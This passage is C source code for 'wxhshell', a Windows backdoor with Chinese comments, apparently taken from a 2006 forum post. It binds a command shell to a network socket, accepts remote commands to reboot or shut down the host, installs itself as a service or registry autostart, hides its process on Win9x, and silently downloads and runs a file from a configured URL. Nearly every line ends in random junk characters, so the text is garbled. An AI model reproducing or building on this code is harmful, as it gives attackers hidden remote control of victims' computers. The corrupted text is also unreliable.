  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J"%}t\Q  
  } # :w2Hf6Q  
  else { .b oizW1+  
"\r~,S{:  
    switch(cmd[0]) { H;|:r[d!  
  !gHWYWu)!  
  // 帮助 S5KYZ W  
  case '?': { Wb )l8[=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +|YZEC  
    break; =>\-ma+  
  } {dXBXC/Ju  
  // 安装 /t)c fFM  
  case 'i': { otD?J= B  
    if(Install()) PZRn6Tc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WcO,4:  
    else /.YAFH|i)"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]=VS~azZ5  
    break; A=d$ir K[  
    } fbTw6Fde$  
  // 卸载 0uO=wOIhH  
  case 'r': { &MZy;Sq  
    if(Uninstall()) PFy;qk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZNpExfGEU  
    else yL x .#kx6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z WRRh^  
    break; v#]v,C-*  
    } g)?g7{&?>?  
  // 显示 wxhshell 所在路径 JOx ,19r  
  case 'p': { (2bZ]  
    char svExeFile[MAX_PATH]; @@3,+7%1  
    strcpy(svExeFile,"\n\r"); Vy^yV|`v  
      strcat(svExeFile,ExeFile); 6mpg&'>  
        send(wsh,svExeFile,strlen(svExeFile),0); Dnm.!L8  
    break; 0O,T=z[+>  
    } @U3foL2\  
  // 重启 .A7tq  
  case 'b': { u@_!mjXQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?t0zsq  
    if(Boot(REBOOT)) }i7U}T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }#HTO:r  
    else { lAn+gDP  
    closesocket(wsh); [}ZPg3Y  
    ExitThread(0); n~)HfY  
    } }{wTlR.]  
    break; f UF;SqT  
    } l P$r   
  // 关机 A?IZ( Zx(`  
  case 'd': { FfxX)p1t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1 73<x){  
    if(Boot(SHUTDOWN)) v=.z|QD^1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Awa|rIM  
    else { p37zz4  
    closesocket(wsh); S}w.#tyEn  
    ExitThread(0); 12tJrS*Z  
    } YF! &*6m  
    break; cF_;hD|YZ  
    } _D>as\dP  
  // 获取shell 9jMC |oE  
  case 's': { wAu[pWD'6;  
    CmdShell(wsh); 50`iCD  
    closesocket(wsh); d2A wvP  
    ExitThread(0); 2fzKdkJhe  
    break; C,{F0-D  
  } 7bonOt Y  
  // 退出 %9QMzz5  
  case 'x': { -OrY{^F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MjQ[^%lfL  
    CloseIt(wsh); 0Oc}rRH(C  
    break; 8 _4l"v p  
    } H ~[LJ5x  
  // 离开 a1g6}ym\  
  case 'q': { kUn2RZ6$#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qukjS#>+  
    closesocket(wsh); PG6[lHmi  
    WSACleanup(); ShWHHU(QQ  
    exit(1); k<YtoV  
    break; "Y G\  
        } -XBKOybHBO  
  } qnq%mwDeD  
  } _/,SZ-C#L4  
W!/vm  
  // 提示信息 O6y @G .+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $brKl8P  
} CE~r4  
  } f5@.^hi[  
f;.SSiT  
  return; ("_Q  
} W`#gpi)7N  
`$J'UXtGc  
// shell模块句柄 R=`U4Ml;  
int CmdShell(SOCKET sock) H}vn$$ O  
{ ?E % +}P  
STARTUPINFO si; }dy9I H  
ZeroMemory(&si,sizeof(si)); ^~^mR#<P$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GGCqtA^@7d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j7f5|^/x3  
PROCESS_INFORMATION ProcessInfo; e\`wlaP,  
char cmdline[]="cmd"; 4Mk8Cpz  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q}=fVY  
  return 0; StEQ -k  
} i wUv`>l&  
eaEbH2J  
// 自身启动模式 SGt5~T xj  
int StartFromService(void) !6lOIgn  
{ (I[s3EnhS  
typedef struct \H^;'agA  
{ RF:04d  
  DWORD ExitStatus; 6VC-KY  
  DWORD PebBaseAddress; W;qP=DK2  
  DWORD AffinityMask; G(3;;F7"  
  DWORD BasePriority; JRq3>P  
  ULONG UniqueProcessId; *#zS^b n  
  ULONG InheritedFromUniqueProcessId; JRXRi*@  
}   PROCESS_BASIC_INFORMATION; (Izf L1  
/HZv  
PROCNTQSIP NtQueryInformationProcess; 9:Si] Pp+S  
`%Q&</X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _B3zRO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6x/s|RWL1  
UU[H@ym#  
  HANDLE             hProcess; \9w~pO  
  PROCESS_BASIC_INFORMATION pbi; K3L"^a  
1 DqX:WM6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  t!jYu<P  
  if(NULL == hInst ) return 0; %&h c"7/k  
wN(&5rfS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z5$fE7ba+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~@D/A/|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P 6.!3%y  
|NJ}F@t/5  
  if (!NtQueryInformationProcess) return 0; >La><.z~  
nxfoWy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OhFW*v  
  if(!hProcess) return 0; ($8t%jVWJJ  
RgZOt[!.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q|c|2byb  
~KPv7WfG  
  CloseHandle(hProcess); QIK 9  
Qnt5HSSt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e<"/'Ql!k  
if(hProcess==NULL) return 0; ^~1<f1(  
Ee)xnY%(  
HMODULE hMod; u-:Ic.ZV  
char procName[255]; 8:dQ._#v  
unsigned long cbNeeded; vFhz!P~  
-[heV|$;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wk @,wOt  
5jZiJw(  
  CloseHandle(hProcess); iKAusWj  
[>Fm [5x  
if(strstr(procName,"services")) return 1; // 以服务启动 !0" nx{7.  
|]sx+NlNc  
  return 0; // 注册表启动 r4Q|5kT*i  
}  3+U]?7t  
VaR/o#  
// 主模块 ,H[SI0];  
int StartWxhshell(LPSTR lpCmdLine) !Zjq9{t\"  
{ n>FY?  
  SOCKET wsl; 6gU{(H   
BOOL val=TRUE; 8ObeiVXf)  
  int port=0; r\qz5G *6  
  struct sockaddr_in door; 3WUH~l{UJ  
5/@UVY9_  
  if(wscfg.ws_autoins) Install(); RN9;kB)c  
1@qgF  
port=atoi(lpCmdLine); OZ(dpV9.S  
d%ME@6K)  
if(port<=0) port=wscfg.ws_port; Z^ar.boc  
,={t8lN  
  WSADATA data; {y-^~Q"z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7wVH8^|  
~ ?^/u8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n7! H:{L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !#N\ b  
  door.sin_family = AF_INET; j-b*C2l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DBgMC"_   
  door.sin_port = htons(port); NNkP\oh\  
VaLs`q&3>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {hdPhL  
closesocket(wsl); MesRa(  
return 1; w0J|u'H  
} iiC!|`k"  
'Jj=RAV`  
  if(listen(wsl,2) == INVALID_SOCKET) { h~} .G{"  
closesocket(wsl); J/x2qQ$9  
return 1; %X1x4t]  
} I'!/[\_  
  Wxhshell(wsl); Wf26  
  WSACleanup(); e2)autBe  
p,W_'?,9  
return 0; osP\D iQ  
0C$vS`s&  
} 01@t~v3!Z  
[\e@_vY@OH  
// 以NT服务方式启动 l*=aMjd?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5.0e~zlM -  
{ [(mlv42"  
DWORD   status = 0; G}zZQy  
  DWORD   specificError = 0xfffffff; svhI3"r  
5Av=3[kh"%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y] g?2N=E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z j{s}*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b/("Y.r=  
  serviceStatus.dwWin32ExitCode     = 0; nv/[I,nw  
  serviceStatus.dwServiceSpecificExitCode = 0; _lxco=qd=%  
  serviceStatus.dwCheckPoint       = 0; $lwz-^1t.  
  serviceStatus.dwWaitHint       = 0; l.=p8-/$'7  
^QX bJJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uaPx"  
  if (hServiceStatusHandle==0) return; Y3U9:VB  
V!/:53  
status = GetLastError(); \?fIt?  
  if (status!=NO_ERROR) YK#fa2ng  
{ (P|pRVO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |V,<+BEi  
    serviceStatus.dwCheckPoint       = 0; :!TI K1  
    serviceStatus.dwWaitHint       = 0; Xl-e !  
    serviceStatus.dwWin32ExitCode     = status; ?h8{xa5b  
    serviceStatus.dwServiceSpecificExitCode = specificError; *ZCn8m:-+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }j {!-&  
    return; @mQ:7-,~  
  } eVh - _  
# TkR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~l E _L1-c  
  serviceStatus.dwCheckPoint       = 0; Li{~=S@N*  
  serviceStatus.dwWaitHint       = 0; V|D] M{O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |UUdz_i!:  
} umEVy*hc  
$7Jo8^RE  
// 处理NT服务事件,比如:启动、停止 \3YO<E!t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pW\'Z Rj  
{ J5M+FwZq  
switch(fdwControl) qCQ./"8  
{ gXFWxT8S  
case SERVICE_CONTROL_STOP: *?p|F&J  
  serviceStatus.dwWin32ExitCode = 0; 30j|D3-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6=GZLpv  
  serviceStatus.dwCheckPoint   = 0; $14:(<  
  serviceStatus.dwWaitHint     = 0; W6c]-pc  
  { V&{MQWy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a}yXC<}$  
  } ]3{0J  
  return; !RvRGRSyF  
case SERVICE_CONTROL_PAUSE: Av J4\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F'RUel_%  
  break; %r{3wH# D@  
case SERVICE_CONTROL_CONTINUE: iI1n2>V3y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #s-iy+/1oN  
  break; YvL?j  
case SERVICE_CONTROL_INTERROGATE: LaFZ?7@|}  
  break; )eeN1G`rDE  
}; cR7wx 0Aj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nh?| RE0t  
} m|tC24  
I&yVx8aH}  
// 标准应用程序主函数 {lG@hN'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }j5 a[L  
{ Sb2v_o  
;r\(p|e  
// 获取操作系统版本 oih5B<&f#  
OsIsNt=GetOsVer(); zk_Eb?mhwV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); UKd'+R]  
, $*IzL~  
  // 从命令行安装 9Ru;`  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,Z9>h[JF  
<~U4*  
  // 下载执行文件 W[bmzvJ_X  
if(wscfg.ws_downexe) { 66&EBX}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q-$`k  
  WinExec(wscfg.ws_filenam,SW_HIDE); )>\}~s  
} B0}~G(t(  
>T3H qYX5W  
if(!OsIsNt) { rt7<Q47QE  
// 如果时win9x,隐藏进程并且设置为注册表启动 B/f0P(7  
HideProc(); ~^I> #Dd  
StartWxhshell(lpCmdLine); }3 m0AQ;K  
} }l0&a!C  
else 0X|_^"!  
  if(StartFromService()) eitu!=u  
  // 以服务方式启动 :t$aN|>y  
  StartServiceCtrlDispatcher(DispatchTable); \0;(VLN'U  
else qNgd33u1  
  // 普通方式启动 GOy%^:Xd  
  StartWxhshell(lpCmdLine); MhEw _{?  
bUy,5gk-  
return 0; {QaNAR=)  
}
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只看该作者 1 发表于: 2006-10-10
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